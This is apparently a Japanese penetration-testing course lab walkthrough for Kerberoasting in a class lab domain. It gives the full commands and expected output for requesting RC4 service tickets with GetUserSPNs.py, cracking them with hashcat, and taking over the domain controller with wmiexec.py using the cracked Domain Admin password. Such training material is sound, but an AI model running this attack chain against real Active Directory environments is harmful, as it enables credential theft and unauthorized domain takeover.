Skip to content

Lab 5.1: Kerberoast

オンライン演習

接続性: この演習には、クラス内ネットワーク(560A VPN経由)に接続している必要があります

目的

  • SPNを使用してサービスアカウントのRC4サービスチケット(TGS)を取得します
  • hashcatを使用してRC4サービスチケットをクラックします
  • 新たに特定した認証情報を使用してDC01(10.130.10.4)にピボットします

ウォークスルービデオ

ラボのセットアップ

使用するVM:

  • Linux

SEC560 Linux VMから10.130.10.10にpingできることを確認してください:

コマンド

ping -c 4 10.130.10.10

想定される結果

sec560@560vm:~$ ping -c 4 10.130.10.10
PING 10.130.10.10 (10.130.10.10) 56(84) bytes of data.
64 bytes from 10.130.10.10: icmp_seq=1 ttl=63 time=67.6 ms
64 bytes from 10.130.10.10: icmp_seq=2 ttl=63 time=67.2 ms
64 bytes from 10.130.10.10: icmp_seq=3 ttl=63 time=69.1 ms
64 bytes from 10.130.10.10: icmp_seq=4 ttl=63 time=73.5 ms

--- 10.130.10.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 67.194/69.349/73.533/2.511 ms

このラボを以前に実行したことがある場合は、少しクリーンアップを行いましょう。Hashcatのpotfile(以前にクラックされたハッシュとそれに対応するパスワードを含む)を削除しましょう。

コマンド

sudo rm /pentest/password-recovery/hashcat/hashcat.potfile

このコマンドは成功した場合、出力はありません。クリーンアップするpotfileがない場合は、エラーが表示されます。そのエラーは問題ありません。

ラボ – ステップバイステップの手順

すでに有効な(特権のない)ドメイン認証情報を取得しています。ここからの目標は、サービスアカウントを侵害することでドメイン内の権限をさらに昇格させることです。

1: チケットの列挙とリクエスト

最初のステップとして、GetUserSPNs.py Pythonスクリプトを使用します。これは以下のステップを実行します:

  • サービスプリンシパル名(SPN)を持つユーザーを列挙します。念のため、サービスアカウントにはSPNが設定されています!
  • これらのサービスアカウントのサービスチケットをリクエストします

この攻撃には、任意のユーザーとしてのアクセスが必要です。560.2で見つけた、パスワードPassword1を持つhiboxy\bgreenを使用します。

impacketのGetUserSPNs.pyを使用します。いくつかのオプションを指定する必要があります:

  • credentials - ドメイン、ユーザー名、パスワードをこのように指定できます: hiboxy/bgreen:Password1
  • -request - チケットを特定した後にリクエストするようツールに指示します
  • -dc-ip - チケットをリクエストするDCのIPアドレスです。

コマンド

GetUserSPNs.py hiboxy.com/bgreen:Password1 -request -dc-ip 10.130.10.4 | tee /tmp/spns.output

想定される結果

sec560@560vm:~$ GetUserSPNs.py hiboxy.com/bgreen:Password1 -request -dc-ip 10.130.10.4 | tee /tmp/spns.output
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName            Name             MemberOf                                    PasswordLastSet             LastLogon  Delegation 
------------------------------  ---------------  ------------------------------------------  --------------------------  ---------  ----------
MSSQLSvc/sql01.Hiboxy.com       SVC_SQLService                                               2024-08-13 08:12:58.968552  <never>               
MSSQLSvc/sql01.Hiboxy.com:1433  SVC_SQLService                                               2024-08-13 08:12:58.968552  <never>               
MSSQLSvc/sql02.Hiboxy.com       SVC_SQLService2  CN=Domain Admins,CN=Users,DC=hiboxy,DC=com  2024-08-13 08:12:59.125293  <never>               
MSSQLSvc/sql02.Hiboxy.com:1433  SVC_SQLService2  CN=Domain Admins,CN=Users,DC=hiboxy,DC=com  2024-08-13 08:12:59.125293  <never>               



[-] CCache file is not found. Skipping...
$krb5tgs$23$*SVC_SQLService$HIBOXY.COM$hiboxy.com/SVC_SQLService*$9f6b...
$krb5tgs$23$*SVC_SQLService2$HIBOXY.COM$hiboxy.com/SVC_SQLService2*$95fb...

コマンドの出力で、2つのサービスアカウントSVC_SQLServiceSVC_SQLService2を特定できるはずです。アカウントがドメイン内で持つ権限に関する情報も表示されます。SVC_SQLService2アカウントはDomain Adminsグループに所属しているようです、素晴らしい!

さらに、teeコマンドは、前のコマンドからパイプラインで渡された出力を表示し、出力をファイルに保存します。

最後に、$krb5tgs$23$で始まる長い文字列も表示されます。これはRC4を使用して暗号化されたサービスチケットです(23は暗号化タイプRC4を指します)。これをブルートフォース攻撃で解析できます!

大規模な企業環境では、数百または数千のサービスアカウントが表示される可能性があることに注意してください。このような関与では、これらのアカウントの多数に対してサービスチケットをリクエストし、少なくとも1つをクラックできることを期待します。

実際には環境内にさらに多くのサービスアカウントがありますが、このツールはユーザーアカウントに関連付けられたSPNを持つサービスのみを検索します。これはクラック可能な可能性があるためです。コンピューターアカウントのパスワードハッシュはランダムに生成され、事実上クラック不可能です。

ドメインからサービスアカウント情報を抽出する方法はいくつかあることに注意してください。ImpacketのGetUserSPN'sはその1つにすぎません。別の良い例としては、PowerviewスイートのInvoke-Kerberoastコマンドレットがあります。これらのツールの一部には、サービスアカウントとしてkrbtgtアカウントも含まれている場合があります。これは技術的には正しいですが、Kerberoastingに対して脆弱なアカウントではありません。krbtgtアカウントのパスワードはシステムによって生成されます(長く非常にランダムなパスワードを使用)。これにより、ブルートフォースクラッキング攻撃に対して事実上免疫があります。

2: チケットのクラッキング

次のステップとして、取得したサービスチケットをブルートフォースして、2つのアカウントのパスワードを回復します。このためにhashcatを選択したツールとして使用します!

このコースで以前にHashcatを使用しており、以下の入力が必要であることを覚えているでしょう:

  • 辞書ファイル
  • クラックするハッシュ
  • ハッシュタイプ(モード)
  • 実行したい攻撃の種類(ブルートフォース、ワードリスト、マスク攻撃など)

ハッシュモードをすぐに認識できない場合は、hashcat --example-hashesを使用して、対応するモードを持つハッシュの例を確認できます。または、公式のhashcatドキュメントを参照できます: https://hashcat.net/wiki/doku.php?id=example_hashes

上記のteeコマンドはすべての出力を保存しましたが、クラック可能な行のみが必要です。元のファイルからそれを抽出しましょう。出力の先頭に$krb5tgs$23$が含まれていたことを思い出してください。このテキストの一部でgrepを使用して、ハッシュをクラッキング準備ができたファイルに保存できます。

コマンド

grep krb5tgs /tmp/spns.output > /tmp/tickets

hashcatドキュメントを確認すると、以前に取得した$krb5tgs$23$出力がhashcatではモード13100として参照されていることがわかります。

多くのパスワードは大文字で始まる単語を含む傾向があるため、侵害された認証情報の既存のワードリスト(/usr/share/wordlists/rockyou.txt)を取得し、sedを使用して最初の文字を大文字にしましょう。時間を節約するために、各単語の末尾に数字も追加します。

コマンド

sed 's/.*/\u&/' /usr/share/wordlists/rockyou.txt > ~/labs/Rockyou.txt
hashcat -m 13100 -a 6 /tmp/tickets ~/labs/Rockyou.txt ?d

想定される結果

sec560@560vm:~$ hashcat -m 13100 -a 6 /tmp/tickets ~/labs/Rockyou.txt ?d
hashcat (v6.2.6) starting

...truncated for brevity...

$krb5tgs$23$*SVC_SQLService$HIBOXY.COM$hiboxy.com/SVC_SQLService*$5c88ace8e2614d9aeb272ed6a13e8317$1d8df0a3e9c5c386795a21502d91a8839883d129d410ac69bca8fea85f2798cfb1fbc82f4392218ff032dc32ccf83d3cf018dfce1e27b6aac61a4e21b2a51d31ebff144bc78bff65da15c402af0dea88ba09fa0ca557c4fb0452c5bf0c0f22dd33bbc33fede1b7c1a8ac55c921332f1c07032f8022cd26c0cdf4b3745634a3512f3d13f63ce28bc02e01bc66b2530329f4d44b1d06c1b5d56e7a82bfb338e01387dc5381a36be848efaacd77b7981a637cf7debcd2c46f621cc5c28a8765731d92bf9fd695ddadb9f69819ebffee72a884b24a11559286ad19949ee227ea542b14947840c65f9d68075eeefd750f11f09fc85d872fe9e6478a9adb7211daaa709d383895e1acee4cc29212bf1bccc843f721853eacf63eb96e7ca18a16485ab9acfd3d827137ebdde28854a9d67d5ede82d4af7e0f7367ec4c7f2e71fc907ebc14264d33f6ebea65a3e5777e79146bc74b48e6ab15e910eb84a509f38fb87f629d36cd8550e48d3a69bf73d1ac8a73f3b3ff44663e37f001b8e4c9b79a8d1c5969d8d16ea9a72bb7bdc157613c52f65cf880a9556f851fb498af4722fd18aeb81f4fb5470398d93c6e4fd9e976ac19fd8f48611eecd2528fcac2213d9fdc46c4731d36092637616563bd2d83dbc7ce1df92b705d7bdf2878d587ba3949f8e03d63fdbeb7be57ed8d1126b555c0add25dd7f3648c09e0d811cdca99c5c733a6852ccd5e37c8c77723b63563e23ab3c212d10562e55d569449cb162fc7303c60c75c36667297a0d5d4e8f31f8085d076346eaf138947ae22de43b09e3d968548e0ba188dd4b7a4a13a9884b477d8be1500ac1569784c1713a74e57bc8abaff958719f44305cb2da95484ba7e553133b087d19f949e450eb539719f78790a189a155455a4c9f50c1a5f4f7c05a8059df61e3909b80169f107e42c7fb2387a7d722093b303ae04a5e9f441baeb64d3f3b3cf4b33ebf570c5af14a6f1c0a211bf26cd51ff5304c838a85dfb4cf27422854bdd596c4e24a002f6a5c2e3d44242a91f2b79fef676d0883304dadafc3f5894ad12424a251181eee5dd6c1b464f42734e6061e0a282ec3418bf474e77d0620e06a58dd71b8262c81de99e438c3062edb0e58f7c1d1578565f5dfb80d2805013af470eceb7ca32f909b4affe6c92e83bffc132f8d2527516251f23f790a5a820635f46a2b5f1733df53001c78bd6424ef4a1376eb70368a8116817884be9a40c55217f4d9b3335e38df6e5795e50a6805dfe5aac6b64c9860c34a04899da5244a39c9c42d868ba226ee44e3843408de8d000e30bc6c8fbaf913c6478b9679ce87d8dbf0179cad13b976b196cef169334360c66603f83af1966ce249a8328053d574371e1f4ca4c0ccb20118ff84a0fdf400b0482e20e75e59b8181bbb973713cf488b0cedb94bfe850e240cf537107fb1603e8887e3205877ab1834b3203bed8a5aca9:Supercool7

...truncated for brevity...

タブ補完を忘れないでください!ファイル名(またはディレクトリ)の最初の数文字を入力してから、タブキーを押してください。

これは約1分間実行され、その後Supercool7のパスワードが明らかになるはずです。

3: ドメイン管理者チケットのクラッキング

チケットの1つをクラックしました。2つ目をクラックしましょう。

今回は特殊文字(?s)を先頭に追加します(-a 7)。マスクと辞書の順序も変更する必要があります。既存の大きな辞書を大文字にしましょう。

コマンド

sed 's/.*/\u&/' /usr/share/dict/american-english-insane > /home/sec560/labs/American-English-Insane.txt
hashcat -m 13100 -a 7 /tmp/tickets ?s /home/sec560/labs/American-English-Insane.txt

想定される結果

sec560@560vm:~$ hashcat -m 13100 -a 7 /tmp/tickets ?s /home/sec560/labs/American-English-Insane.txt
hashcat (v6.2.6) starting

...trimmed for brevity...

$krb5tgs$23$*SVC_SQLService2$HIBOXY.COM$hiboxy.com/SVC_SQLService2*$f20b8
...trimmed for brevity...
782b1f5c697ea4b610b54350e12a50c4:^Cakemaker
sedコマンドについて知りたいですか?

sedユーティリティは、標準入力(STDIN)またはソースファイルからテキスト変換を行います。既存のファイルに対して(-iで)操作できますが、デフォルトでは変更されたテキストを出力します。この場合、sコマンドを使用して、パターン.*(任意の文字を0回以上マッチ)を\u&に置き換えています。これにより、各行の最初の文字が大文字になります。&sedの特殊文字で、マッチしたパターン全体を表します。american-english-insaneファイルは1行に1つの単語のリストなので、そのファイル内の各単語の最初の文字を大文字にしています。

SVC_SQLService2アカウントのパスワードが見つかりました。上記から思い出すと、これはDomain Adminsグループのメンバーです!

4: 盗んだ認証情報の使用

最後のステップとして、新たに盗んだ認証情報を使用してドメインコントローラー(DC01 - 10.130.10.4)にアクセスします。

クリーンな状態から始めるのが好きなので、hashcatターミナルプロンプトを閉じるか、clearと入力してターミナルをクリアしてください:

コマンド

clear

新たに侵害したSVC_SQLService2アカウントを使用して、DC01でコマンドを実行するためにwmiexec.pyを使用します。

このコマンドの構文を思い出してください:

wmiexec.py username:password@target command

  • Username: ユーザー名はdomain/usernameの形式です。この場合、ドメインはhiboxy.com、ユーザー名はSVC_SQLService2なので、完全なユーザー名はhiboxy.com/SVC_SQLService2です。
  • Password
  • Target: これはターゲットシステムです。この場合はドメインコントローラーのIPアドレス10.130.10.4です。
  • Command: 実行するコマンドです。最初にwhoamiを使用します。

whoamiコマンドでwmiexec.pyスクリプトを実行します:

コマンド

wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 whoami

想定される結果

sec560@560vm:~$ wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 whoami
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
hiboxy\svc_sqlservice2

次に、hostnameコマンドを使用して、svcsqlserverアカウントとしてドメインコントローラー上にいることを確認できます。単に上矢印キーを押して、whoamihostnameに置き換えます。

コマンド

wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 hostname

想定される結果

sec560@560vm:~$ wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 hostname
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
dc01

次にnet userコマンドを実行しましょう。前のコマンドを再入力する代わりに、上矢印キーを押して前のコマンドに移動し、バックスペース(または単語全体を削除するにはCtrl+W)を使用してhostnameを削除してからnet userと入力します。

net userコマンドでwmiexec.pyを実行してドメインユーザーのリストを取得します:

コマンド

wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 net user

想定される結果

sec560@560vm:~$ wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 net user
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used

User accounts for \\

-------------------------------------------------------------------------------
$OK1000-O8RL70HT3R44     aallen                   aalvarado                
abaird                   abates                   abecker                  
abrown                   acarter                  achavez                 
...truncated for brevity...

最後に、net userコマンドを実行して、SVC_SQLService2がどのグループのメンバーであるかを確認できます:

コマンド

wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 net user SVC_SQLService2

想定される結果

sec560@560vm:~$ wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 net user SVC_SQLService2
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
User name                    SVC_SQLService2
Full Name                    
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            8/13/2024 8:12:59 AM
Password expires             9/24/2024 8:12:59 AM
Password changeable          8/14/2024 8:12:59 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      
Global Group memberships     *Schema Admins        *Domain Admins        
                            *Domain Users         *Enterprise Admins    
The command completed successfully.

グループの1つは「Domain Admins」グループです!

おめでとうございます!ドメイン管理者権限を持つサービスアカウントのクラッキングに成功しました!

侵害されたアカウントを使用してコマンド実行を確立するために使用できる他のツールがいくつかあることに注意してください。別の有力な候補は、psexec.py(impacketスイートの一部でもあります)またはpsexec.exe(Windowsマシン上でインタラクティブなセッションを取得するために使用できるMicrosoft署名付きバイナリ)です。

まとめ

結論として、このラボでは、弱いパスワードで構成された2つのSPN対応ユーザーアカウントを特定しました。RC4で暗号化されたサービスチケットをリクエストし、hashcatを使用してブルートフォース攻撃を開始できました。最後に、侵害されたアカウントの1つを使用して、環境内でDomain Admin権限を取得しました。

Kerberoastingは、パッチの欠落や誤設定に依存しない非常に効果的な攻撃手法であり、したがって、合理的に保護された環境でも「侵入経路」を提供できます!